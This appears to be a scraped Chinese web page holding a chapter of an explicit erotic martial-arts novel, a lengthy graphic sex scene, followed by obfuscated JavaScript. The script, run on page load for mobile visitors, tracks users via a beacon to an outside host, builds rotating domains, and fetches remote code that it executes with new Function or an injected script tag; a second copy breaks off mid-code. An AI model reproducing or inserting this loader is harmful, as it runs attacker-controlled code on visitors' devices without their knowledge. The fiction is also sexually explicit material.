寒冰燕不敢回头,害怕再看到他那充满不信任的眼神,心中却又渴望着他能温柔谅解。

“燕师姐……”

万花蝶的声音响起,寒冰燕暗暗嘘了口气,紧张的神经舒缓下来,巨大的失落感却又涌上心头。

同样作为女人,万花蝶自然很了解她现在的心情,缓步走上前,轻轻搂着她的肩膀道:“师姐,你还好么?”

寒冰燕低下头,看着自己的足尖,沉默不语。

万花蝶道:“师姐,我刚才那么说也是为了救城主,你不要怪我。”

寒冰燕手捋鬓边发髻,轻声道:“不老谷神仙三飞自幼一起长大,只是我却很少和你们亲近,别人只当我眼高于顶,看不起你,其实,其实却不是如此。” 万花蝶听她忽然说起这些,微微一愣,寒冰燕继续道:“我自幼性格冷僻,连姐妹们也不敢和我多说一句话,久而久之,我也把自己当作无情之人了,但先前在牢狱之中,你竟为了我甘心受辱,从那时候起,我才知道你对我的情谊。” 万花蝶嘴角带笑,说道:“师姐冰清玉洁,怎能被那种龌龊卑鄙的男人占了身子,我却不必计较这些。”

寒冰燕道:“你向来胆大,率性而为,全不顾世俗的看法,这一点我万万比不上你,就像那天在红袖招,你和他当众……”说道此处,她脸上不由得一红。 万花蝶“咯咯”笑道:“他可真是个小魔头,我遇到他一点办法都没有。” 寒冰燕也“扑哧”一笑,道:“大名鼎鼎的花中蝴蝶,向来都将男人玩弄于股掌之上,也会遇到克星么?”

两人此时前嫌尽去,万花蝶拉着寒冰燕的手道:“说心里话,我从来没有遇到一个让我如此动心的男人,我不奢望能将他独占,只盼着永远作他的女人便心满意足了。”

寒冰燕喃喃道:“两情相悦,当真如此美好么?”

万花蝶笑道:“何不亲自尝试一下?保证你会上瘾,嘻嘻。”

寒冰燕摇摇头,叹气道:“上次我骗了他,害的他险些丧命,他一定恨死我了,怎么会跟我……”

正在这时,忽听有人冷冷道:“你说的一点也不错。”

两人回头一看,轩辕天不知何时已站在身后。

轩辕天对她道:“你还记得当初的事情就好,我的确还在恨你。”

寒冰燕本来羞得满脸通红,听他如此一说,顿时俏脸变得煞白,嘴唇微微发抖。

万花蝶急道:“小天,你怎么可以说这种话!”

寒冰燕几乎要哭了出来,颤抖着道:“我那样对你,你恨我也是应该的。” 轩辕天一脸正经,说道:“嗯,你说得不错,所以我打算把你抱到床上,修理的你唿天喊地,痛不欲生,亲口求饶,才消我心头之恨。你觉得这个办法怎么样?”

万花蝶一愣,随即捂着肚子放声大笑,手指着轩辕天骂道:“你真是个小坏蛋,居然这么捉弄人家。”

寒冰燕又羞又喜,窘的眼角都不敢去瞥一下轩辕天,对万花蝶道:“蝴蝶,我,我去燕营看看,有事,有事待会儿再说。”

好不容易帮自己找到一个脱身的理由,寒冰燕几乎以平生最快的速度奔逃而去。

万花蝶笑得几乎喘不上起来,擦擦眼角的泪水,道:“没想到燕子居然都被你折腾得又哭又笑,你简直不是人。”

轩辕天望着寒冰燕远去的窈窕身影,缓缓道:“她并不是没有喜怒哀乐,只是没有人敢去触动罢了,击碎了冰冷的外罩,现在的她才算真正活回自己。” 万花蝶痴痴的盯着轩辕天,他有时候简单天真的像个孩子,有时候又狡猾多智的如同狐狸,真是个谜一样的男人。

*** *** *** ***

元凶已经伏诛,欢喜岛余孽很快便被燕营美女侍卫一网打尽,大家惊奇的发现一向冷若冰霜的营主脸上居然挂满了笑容,这笑容不仅仅是因为胜利的喜悦,更多的似乎是一种女儿春心慰怀的甜蜜。众人暗暗咋舌,不知道谁有这个本事,竟然可以获得冰美人的芳心。

沈浸在快乐中的寒冰燕失去了以往敏锐的观察力和冷静的头脑,有时竟会自己发上一会儿呆,全没注意手下的姑娘们在一旁吃吃偷笑。

“营主。”

清脆的叫声将寒冰燕飞驰的思绪拉了回来,活泼可爱的雪燕急匆匆走上前。 “禀告营主,原公子,哦不,是轩辕公子托人捎话来了。”

寒冰燕脸上一红,道:“什么话?”

请尽快与他一聚。”

寒冰燕脸上更是红得发烫,呢喃道:“他,他说在什么地方吗?”

雪燕强忍着心中笑意,道:“属下转述轩辕公子原话,有冒犯之处请营主莫怪。”

寒冰燕轻声道:“你说吧,我不会怪你的。”

旁边美女亲随吃惊得几乎将下巴脱落,她们跟随寒冰燕多年,做梦也没想到她居然做出如此扭捏的小女儿之态,一定有不可思议的事情发生了。

得到营主许可,雪燕大声道:“轩辕公子说,他看上了营主,可是又恨营主曾经骗他,因此要和营主在当初伤心之地一决雌雄。”

此言一出,众人哗然,有人愤愤不平道:“这轩辕公子是什么人?居然如此狂妄,敢对营主无理,让我们去教训教训他!”

“对,让他知道天高地厚。”

众人正七嘴八舌声讨这可恶的轩辕公子之时,却见营主早已施展绝顶轻功,燕子一般飞奔而去。

众人正要前去相助,雪燕伸手将她们拦下道:“你们不要起哄了,这轩辕公子就是以前的原天原公子啊。”

众美女一听,原来是那个高大俊俏的小伙子,莫非他和营主……不由得好奇之心大起,将雪燕围在中间,询问端详。雪燕嘻嘻笑道:“事情是这样的……” 抛下一帮爱传闲话的美女不提,寒冰燕快步如飞,不多时已来到自己后院那座精舍之前,她急匆匆推门欲进,忽的又停步不前,自从上次之后,她就再也不愿意踏进这精舍一步,害怕自己会失去控制,此刻意中人就在里面,寒冰燕不由得心如小鹿“怦怦”跳。

正在她胡思乱想之际,只听精舍内一个富有磁性的男子声音道:“燕营主既然到门口了,怎么不进来?莫非怕我轩辕天不成?”

寒冰燕羞红着脸,轻轻推开精舍木门,走了进去,荷花池内冒出腾腾热气,弥漫在整个精舍,轩辕天的声音从水气中传来:“燕子,我在这里。”

寒冰燕寻声走到池边,白茫茫的水气更加浓厚,哪里看得到他的身影。 寒冰燕矮身坐在池边,轻轻叹了口气,道:“轩辕公子,当初是我不好,还请你原谅。”

轩辕天道:“那可不成,我在家乡是出了名的小气鬼,谁得罪了我,我就要他永不安甯。”

话虽如此,语气中却充满开心调笑之意。

寒冰燕嘴角也不由得涌出一丝笑意,佯嗔道:“你这小坏蛋,非要捉弄我才开心么?”

轩辕天哈哈笑道:“燕子,你知道吗,你生气的样子可真好看,我第一眼看到你噘着小嘴,就想亲亲它了。”

寒冰燕心神一荡,一股热流向双腿间涌去,她咬着嘴唇,“扑通”一声跳入水池中,刚刚从水中探出头来,一双有力的臂膀便将她抱住,不待她有所反应,男性那火热的嘴唇已重重压在她的樱唇之上。

寒冰燕象征性的挣扎了几下,双臂猛地圈抱在轩辕天结实的腰部上,香舌从丰满甜蜜的嘴唇中伸出,与轩辕天那极具侵略性的舌头纠缠在一起,舌尖轻轻碰触,传递着心中浓浓的爱意和高涨的欲火。

寒冰燕呻吟一声,勉力从那令她沈醉的热吻中擡起头来,痴迷的望着轩辕天又黑又亮的眼睛,道:“还很我吗?”

轩辕天很认真的点点头:“恨。”

寒冰燕“扑哧”一声笑出来,粉拳轻轻捶打着他雄壮如山的胸膛,道:“你这坏东西,我讨厌你,第一眼看到就讨厌你,啊……”

违心的话语尚未说完,她尖叫一声,皓首后仰,双手勾着轩辕天的头颈,丰满挺拔的胸膛不住剧烈起伏,喃喃道:“啊……不要,不要碰那里,啊……” 轩辕天左手搂着她的小蛮腰,右手从她亵裤中抽出来,放在鼻子前闻了闻,笑道:“好香的味道。”

寒冰燕全身酥软无力,倒在轩辕天怀中,鼻端碰触着他厚实有弹性的胸肌,一股股浓烈的男子气息钻入鼻孔,令她沈醉不已。

轩辕天看着她娇羞无限的美丽容颜,心中爱煞,湿透的衣衫紧紧贴在身上,一对高耸坚挺的乳房唿之欲出,顶部两粒突起,让轩辕天难以抑制咬噬它们的冲动。

他迫切要看到她美丽的身体,这欲望强烈的使下体微有胀痛,抱着那动人的躯体,轩辕天从水池中腾身飞起,落在一张铺满名贵黑色貂皮的床榻之上。 一阵裂帛响,寒冰燕成了一只小白羊,手脚羞涩的合拢起来,妄图掩饰自己羞人之处,谁知适得其反,更激起了轩辕天窥探她的欲望。

不住颤抖,小巧漂亮的鼻翼急促翕张,她无力也不想挣扎,只用力咬着自己的嘴唇,任凭爱郎肆意轻薄。

洁白无瑕的肉体躺在乌黑油亮的貂皮之上,更衬托的肌肤雪白如凝脂,轩辕天的唿吸难以抑制的粗重起来,眼前的赤裸胴体极为美丽,粉藕一样的胳膊无力的枕在耳畔,瘦削光滑的肩膀下,是一片白得耀眼的晶莹酥胸,温润柔软的乳房怒挺着,粉红圆润的乳珠,放射着男人梦中才有的诱惑和光彩。

“哦,燕子,你真美。”

轩辕天来不及往下看,大手不由自主地攀上了那两座高耸的乳峰,爱怜的揉搓着,雪白柔软的乳房在他掌心里不断发热膨胀,嫣红的蓓蕾充血如宝石。 胸部猛地湿热,寒冰燕张开眼睛,乳尖被他衔在嘴里,火热的舌头不停的卷动。

“嗯……”

寒冰燕的喉咙里发出销魂的呻吟,不自觉地拱起上身,双峰愈发的坚挺,纤细如柳的蛮腰带动着光洁柔软的小腹,无意识的摆动着。

“天,我是你的,对吗?”

寒冰燕朱唇吐出幸福的话语。

轩辕天擡起头,深情款款的望着她:“你是我的,你全部都是我的,我要好好的品尝你。”

他的嘴唇顺着那嫩滑的肌肤向下,令柔软如棉的小腹产生一阵轻微的痉挛,舌头在小巧可爱的肚脐里舔弄,芳香四溢。

难耐的瘙痒使寒冰燕“咯咯”笑了起来,处女肌肤的敏感难以承受这样的刺激,只是,片刻之后,笑声便转化为异常急促的喘息。

“啊,不要,不要舔那里……”

草地中,神秘的三角区域中,一颗令人眩目的珍珠,因为沾满了唾液而闪耀着红艳艳的光泽,真是可爱、诱人至极。轩辕天心动神摇,几乎不能自持。

从没被人碰过的最敏感地带,现在却毫无保留丝毫毕现的对着爱郎的脸。 “恐怕连自己都不会这么清晰的看那里吧。啊,他的舌头又在舔我了,痒死了,也舒服死了。我的天,他的舌头竟然伸进去了!”

寒冰燕十指插进爱郎浓密的头发:“哎啊,这小妮子还真用力啊。”

轩辕天擡起头来,嘴唇上沾满半透明的女人体液,坏笑着说道:“燕子,舒服吗?喜欢我品尝你吗?”

“不喜欢,坏东西,你坏死了。”

寒冰燕呻吟着,向爱郎挺起了下身,肉唇主动寻找着爱抚,按在轩辕天头上的双手羞涩但坚定的向下用力。

轩辕天双手揉搓着她光滑如玉的大腿,道:“燕子,放开自己,我要你说出心底的话,我会好好的爱你。”

离开了他火热的嘴唇和负有魔力的舌头,寒冰燕下身一阵难耐的空虚。 “在他面前我不要再压抑自己,我要全都给他。”

寒冰燕将自己的蜜壶贴在他的嘴巴上,高声叫道:“天,爱我吧,舔我吧,我是你的,我想要你!”

轩辕天刚刚将舌头插进她娇嫩的甬道,耳中传来兴奋到极点的尖叫,大股大股的爱液有力的喷射在他嘴中,充满女人高潮的味道,他贪婪的吞咽着,如同在沙漠中吸吮甘甜的泉水。

一生中首次的高潮来得如此之快,如此之猛烈,寒冰燕双手死死抱着爱郎的头,雪白的双腿紧紧夹在一起,全身无意识的抽搐着……

良久,抽搐才渐渐平复下来,长吁一口气,寒冰燕四肢无力的摊开,爱郎雄健强壮的身体压了上来。

第五十章 灵肉交融

寒冰燕与轩辕天交颈热吻,他嘴里还残留着自己下体的味道,如此羞人。 “刚才好么?我的小燕子。”

轩辕天在她耳边轻语,大手温柔的游走在青春娇艳的肉体上,柔软而湿热。 从未体验过的快感依然在体内激荡,浓浓的爱意早已充满全身,她玉藕般的双臂搂抱着轩辕天的虎背,娇羞无限的道:“好,好极了,从来没这么好过。” 声音细小如蚊,呵气如兰。

“我可不太好。”

轩辕天引领着寒冰燕的手向自己胯下探去。

如此粗大,小小的柔荑绝难掌握,坚硬如铁,滚烫似火,便是这东西么?将要进入自己,畏惧而期待的奇妙情绪在急速滋生。

“好大,像你的大黑枪那么可怕。”寒冰燕笑着说。

轩辕天放开手,任她羞涩而好奇的抚摸,轻轻舔着她丰满的红唇。

“想要么?我都快炸开了。”

“我是你的了,随你怎么样。”

寒冰燕将皓首埋在他粗壮发达的臂弯里,痴迷的嗅着年轻男子浓烈的味道。世事真是奇妙莫测,不久前还横眉冷对,现在却犹如温顺的小猫,任凭主人的玩弄。

寒冰燕埋首他怀中,粉颊摩挲着他火热的身体,眼中掠过意乱情迷的神色,叹道:“我寒冰燕从来不对任何男子稍加辞色,也没有人敢像你这样子气我,偏偏……偏偏心里总是放不下你。上一次就是在这里,你说再不愿意理我这个狠毒冰冷的女人,我当时恨不得死了才好,哎,莫非你真是我前世的冤孽么。” 听到这一番多情的自白,轩辕天心头不由一阵激动,想不到外表冷漠的寒冰燕心中却是如此真挚火热,抱着她的手臂紧了紧,道:“好燕子,过去的事情不要再提了,以后我会全心全意的待你,让你每天都笑出来,好么?”

两行情泪由眼角泻下,寒冰燕痴痴望着他,道:“天,以后我会天天笑给你看,因为有了你的爱护,燕子是快乐的。”

轩辕天抓起寒冰燕的纤手,送到脸颊贴着,另一手她揩掉泪珠,柔声笑道:“其实你知道吗,你生气的样子也很好看很有趣呢,哈哈。”

寒冰燕犹带泪渍的俏脸绽出笑容,嗔道:“你这小坏蛋,总是要气气我才开心么?小心我咬你。”

她露出贝齿,做了一个张嘴欲咬的样子。

轩辕天双手放肆地在她美丽的娇躯上巡游,道:“你一定会咬我的,因为等一下我会……”

他俯在寒冰燕耳边,说了几句话。

寒冰燕俏脸红的不成样子,笑骂道:“不要,羞死人了,我才不要你动我那里……”

两人相互拥搂,嘻嘻哈哈笑个不停。

忽的,轩辕天柔声道:“燕子,等一下我真正进入你以后,就要借你的元阳了,我不知道会发生什么事情,你……”

话未说完寒冰燕的嘴唇已阻止了他,两人热情的相吻,倾诉着心中的柔情。 “没关系。”

寒冰燕咬着爱郎的耳垂,呢喃道:“是我自愿的,为了师傅,也为了你,我会对你毫无保留,完全献出自己,如果真的,真的有什么事情,你心里面要常常记着我。”

轩辕天紧紧搂着她:“小傻瓜,有我在,你就会好。”

不知为何,轩辕天这一句简单的话语竟给了寒冰燕无比安全的感觉,她抱着轩辕天的头,高高挺起上身,用自己娇嫩雪白的乳峰摩擦着他的脸颊,轻声道:“天,进来吧,我要你真正占有我。”

轩辕天将她双臂打开,含住酥胸上的肉峰,口舌一番肆虐,温柔中有凶猛,火热的嘴唇和灵蛇般的舌头引发了寒冰燕焚身的情火。

“快点……好小天……”喃喃的淫声撩人情欲,她的魂魄都要被这冤家吸走了,柔若无骨的身体不停扭动,小手在轩辕天强壮的身上胡乱抚摸着,恨不得一下子将自己化在他身体中。

轩辕天突然觉得,此时的寒冰燕早已不是一个统帅士兵的首领,而是被春情欲火焚身的女人,那一双小手在自己身上的大胆动作,实在不次于万化蝶,轩辕天不由得情欲高涨。

寒冰燕握着他粗大异常的阳具,掌心被那大蘑菇分泌出的滚烫液体打湿,自己双腿之间更是不住流出爱液,渴望着被粗野的侵犯。

轩辕天将她翻转过来,圆隆丰耸的雪白美臀在眼前左右摇晃,心中升起了一阵火热的悸动,他俯下身去,伸手捏弄着那两瓣雪白丰满的肉丘,中间那道深深裂痕吸引了他的目光,一点液体正顺着处女紧紧闭合的粉红肉唇中流出,在乌黑的毛发里显得格外晶莹剔透。

诱人的气味再度弥漫起来,全身仿佛燃烧着熊熊的火焰,轩辕天觉得口干舌燥,嘴巴猛地贴在那迷人的肉缝上,贪婪饥渴的吮吸着香滑的甘露。先前高潮的余韵未消,极度的快感又占据了寒冰燕的身心,她急促的喘息着,不由自主发出销魂的娇哼。

突然,寒冰燕尖叫一声,雪白的圆臀不停扭动,从“后花园”传来的异样感觉让她几乎失去控制。

“啊,天,不要舔哪里,哪里,哪里不干净……”

轩辕天依依不舍得将嘴巴从小小的菊花洞上移开,道:“好宝贝,你身上所有的地方都是最干净最美丽的,我要你的全部。”

他的大手按在寒冰燕扭动的臀部上,将它牢牢固定,舌头义无反顾的游走于蜜壶与菊花小洞之间,很快口水和爱液的混合物将寒冰燕胯下粘湿的一塌煳涂。 寒冰燕的手臂交叠在一起,勉强支撑着无力的上身,下体不停抽搐:“噢,我的天啊,我要死过去了,不要,不要再折磨我了,我的小天,我的男人!” 轩辕天擡起身,望着上身匍匐,臀部高耸的女人,光滑如段子一样的嵴背上挂满了汗滴,如同清晨晶莹的露水,纤细如柳的腰肢左右摇摆,将那结实圆润的臀部晃出一片耀眼的雪白。

“你在诱惑我,我的小燕子!”

轩辕天再也无法忍耐那即将爆炸的激情,强壮如山的身体贴了上去,一只手搂住她的脖子,一只手在她的傲人双峰上肆意摸捏,铁一样的巨棒弹打在肉鼓鼓的小丘上。

感觉自己要被即将占有,寒冰燕心中有一丝丝害怕,但转瞬被浓浓的爱意和熊熊的欲潮淹没,胯间的粗大如此骇人而且诱人,那滚烫的巨柱烙印着她渴望的心灵。

“燕子,我要进去了,不要害怕,完全的放开自己。”

轩辕天温柔的话语让寒冰燕深深感受到情人的爱意,她轻轻道:“进来吧,燕子准备好了。”

轩辕天轻轻抚摸着丰满的肉丘,将她雪白的双腿向两旁分开,被乌黑油亮绒毛掩盖起来的肉穴毫无保留地曝露在空气中,虽然早已极度期盼,但处子的肉唇依然紧密的闭合着,害羞的流出一股股爱液。

轩辕天伏在她后背,两人之间密合得没有一丝空隙,手指轻轻分开了肉唇,“啊,我还没有进去就这么湿了。”

他在寒冰燕耳边笑着。

“他好壮,好热……”

寒冰燕浑身颤抖着,爱郎那粗大的阳物顽强的顶着自己的蜜穴,滚烫的温端传递了强盛的活力。

“进来吧,不要折磨我了,天,我受不了了!”

轩辕天结实有力的腰部向前微动,巨大的头部顶开了肉唇:“啊!燕子,你真紧,好舒服!”

随着轩辕天的慢慢进入,寒冰燕火热的甬道也慢慢地收缩,刚刚进入半个头部,巨棒已被一层坚韧的薄膜挡住了去路,微微一动,寒冰燕“啊”的叫了出来随即又紧紧咬住了牙关,她不想让爱郎有所顾忌而放不开手脚。

看着原本肥厚的唇被自己巨棒撑开到只有一层肉膜,轩辕天稍有犹豫,那娇嫩的处子如何承受初次的痛楚。

寒冰燕心中一动,刹那间一股奇妙的感觉涌上心头,两颗心,似乎在交融碰撞,逐渐融合在一起,她甚至能触摸到爱郎心中的想法——他在担心自己。 寒冰燕一阵甜蜜,眼睛有些湿润,他是如此温柔体贴。

“他是真地对我好。”爱郎的浓情蜜意让她无法自持,咬着嘴唇,腰部猛地向后一顶,滚烫的长矛顿时贯穿了寒冰燕粉嫩腻滑的花蕊。

“啊……”

虽然早有心理准备,但柔软娇嫩的玉壁被撕裂般的痛楚还是让寒冰燕忍不住地喊叫出来,两行泪从眼眶中滚落。

花蕊瞬间的收缩令轩辕天倒吸了一口冷气,湿热的嫩肉将巨棒紧紧裹住,看着寒冰燕全身不住颤抖,轩辕天心疼地问道:“很痛吗?我们先停下来吧。” 寒冰燕摇摇头,流着痛并快乐的泪水道:“不要,天,你做吧,我,我可以的……”

轩辕天紧紧搂抱着她圆润的臀部,深深感受到那一份化不开的柔情爱意,两人的心灵以前所未有的速度贴近着,他缓慢而有力的挺动臀部,坚硬粗长的钻头一分一毫的前进,开拓和探索着从未有人沾染过的处子神秘领地。

不断加深的充实感令寒冰燕娇哼不断,体内如同插进了一根烧得通红的粗大铁棒,本已滚烫的肉壁顿时沸腾起来,当最幽深之处终于被占领的时候,寒冰燕深深吸了一口气,有着瞬间的昏迷。

轩辕天摆动自己的虎腰,臀部由慢到快地前后耸动,奋力挖掘着寒冰燕的蜜道,点点猩红随着他的动作绽出,仿佛千万朵桃花刹那盛开。

疼痛逐渐消失,取而代之的是从未尝试过的快感,电流般充斥全身,寒冰燕喘着粗气,花招乱颤,臀部上的两只大手在温柔的抚摸,双腿间的巨棒却逐渐粗野起来。随着轩辕天抽动频率的加快,寒冰燕玉柚一样的双乳摆动的幅度也越来越大,乳白色爱液与猩红的处子鲜血混杂在一起,四处飞溅。

“啊,天,舒服死了,我要,我全部都要!”

寒冰燕唿吸急促,鼻翼不断张合,脸颊潮红的如同天边的晚霞。

得到了许可,轩辕天开始在湿热温软的花房里肆意动作,时而如蜻蜓点水,浅尝辄止,时而如巨炮攻城,狂野凶悍。

寒冰燕的双腿再也无法承受一次次的冲撞,终于瘫倒在床。轩辕天将她翻过身来,自己又趴了上去,寒冰燕雪白的双腿立即主动的盘在他腰上,两人面对面紧紧拥抱着,狂热地吻着,下体相撞发出“啪啪”的巨响。

四唇的互相挤压和下身的紧密契合,让两人忘乎所以,迷失在灵与肉的彻底结合中,寒冰燕粉颊桃红,星眸半闭,眼神迷离的望着轩辕天,口鼻中发出媚惑异常的咿呜声,荡人心魄,火热的花房用极大的力量收缩着,温热的激流从花蕊深处喷射在他巨大肉棒的头部,爱郎的动作募得停下了来,欲罢不能的寒冰燕双眼梵呗,嘶喊出声:“不要停!不要停!”

轩辕天的身体虽在极度亢奋的状态,但心神却忽然出奇地清明,一点奇特的热力从寒冰燕体内奔腾涌出,顺着肉棒飞速进入丹田,活泼灵动的跳跃着,而自己体内也出现了一丝冰凉的感觉,贪婪的将那点热力吸收。

寒冰燕体内的热力源源不断的被吸收过来,温暖舒畅的感觉弥漫全身,如同沈浸在母亲的子宫里一样,全身四肢百骸都变得清晰通透,每个毛孔都在唿吸着新鲜的空气,每一根筋骨每一条肌肉都充满了永远发挥不完的精力,灵觉排山倒海般喷涌着,与天地万物融为一体。

“莫非这就是元阳?”

轩辕天心头狂跳:“是了,玄妙充沛,一定是了!”

他兴奋得几乎大叫起来,两人都完全向对方敞开了自己,无所保留,元阳和元阴才会显露出来,正要与心爱的女人分享这个喜悦,却突然发现寒冰燕已生异状。

她虽大喊大叫,四肢疯狂的扭动,似乎极为兴奋,但脸色发青,双唇发紫,正是元阳流失过渡的前兆,只是自己一无所觉,依旧沈浸在那令人骨头都快尽酥掉的狂泄快感中,这是她以前从来没有经历过的滋味,何况是爱郎带给自己的。 轩辕天惊出一身冷汗,暗骂自己粗心大意,寒冰燕初经云雨,早就如醉如痴了,哪还记得阴阳调和的事情,这样被只吸不纳,恐怕真的要死在自己胯下了。 轩辕天紧紧搂着她,用自己的身体温暖着她的肌体,灵觉闪动,将丹田里那一丝冰凉传送了过去,补充着寒冰燕失去的真元。

寒冰燕猛地一震,睁大了美丽的双眼,一冷一热两股真元在自己与爱郎之间循环。

“天,这是什么?莫非就是……”

“没错,我的宝贝燕子,我们成功了!”

轩辕天大声叫着,寒冰燕的元阳已被牢牢封存在自己体内,自己的元阴也献给了美丽的情人,你中有我,我中有你,男欢女爱,阴阳合和。

寒冰燕的眼泪不由自主地流淌下来,不仅仅是因为借取元阳成功,更因为它证明了自己与轩辕天之间已经可以做到毫无保留的奉献自己了,这个发现使她情难自己。

阴阳交合,滋生万物,流失的真元在迅速补充,片刻之后,寒冰燕的脸色转为红润,一张朱唇更叫娇艳欲滴,肌肤白嫩得有如凝脂,精力充沛到了前所未有的境界,寒冰燕死死抱着轩辕天,喜极而泣:“天,用力的,狠狠地来,我要,我想要死了!”

轩辕天一把抓起她那两条光滑娇嫩的玉腿,架在自己的肩头,任务完成,现在就是纯粹的享受了,他重新发动攻势,全力以赴,不管是速度还是力道,都毫无保留地施展出来,这样的攻击,别说是初经人事的寒冰燕,即便是欢场的悍将也只有招架之力。粗大的肉棒猛烈一冲,一下子便牢牢塞满了娇嫩甬道,痛楚和满足充实的感觉同时涌上了寒冰燕的心头,她娇喘吁吁,两腿乱抖。

轩辕天的大枪又快又狠地冲刺起来,结实的小腹不停地撞击着架在自己肩头的雪白双腿,胯下浓密的毛发摩擦着蜜壶,肉体的快速发出一连串的啪啪响声。 “好厉害……啊……我不行了……”

寒冰燕忍不住尖叫,拼命地扭摆臀部,她的双眼直冒金星,整个人被轩辕天干的前后乱颤,娇躯狂震中,双腿绷得笔直,粗大坚硬的肉棒好像每一次都深深插进自己的心窝,小腹处升起一股要爆炸的感觉,整个人似要融化一般。 轩辕天的臀部飞快耸动,一口气冲刺数百下,寒冰燕感觉自己真的爆炸了,小腹深处迸射出的高潮如火山爆发,“哇”的一声她狂叫起来,用力咬着轩辕天厚实的肩头,双手死命抓着他结实的双臂,指甲深深陷入发达的肌肉中,她已经完全失去自主的神志,肉体本能地追寻着无尽的快感,体内尽情宣泄着爱意与爱液,便是这样死在爱郎心中,她也是心甘情愿的吧。

轩辕天看着胯下的美人儿被自己干的美眸翻白,身体软瘫瘫随着抽送前后移动,喉咙里发出游丝一般的娇吟,心中充满了征服女人的极度自豪感。

大股大股滚烫的液体洪水一样冲刷着自己的肉棒,轩辕天再无法坚持下去,猛地把寒冰燕整个抱在怀里,狂喊道:“燕子,我爱你!”

用力前挺结实的臀部,岩浆一样的精液喷射在寒冰燕体内最深处。


上一篇:大学生的疯狂一夜

下一篇:浪情侠女9-12


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new 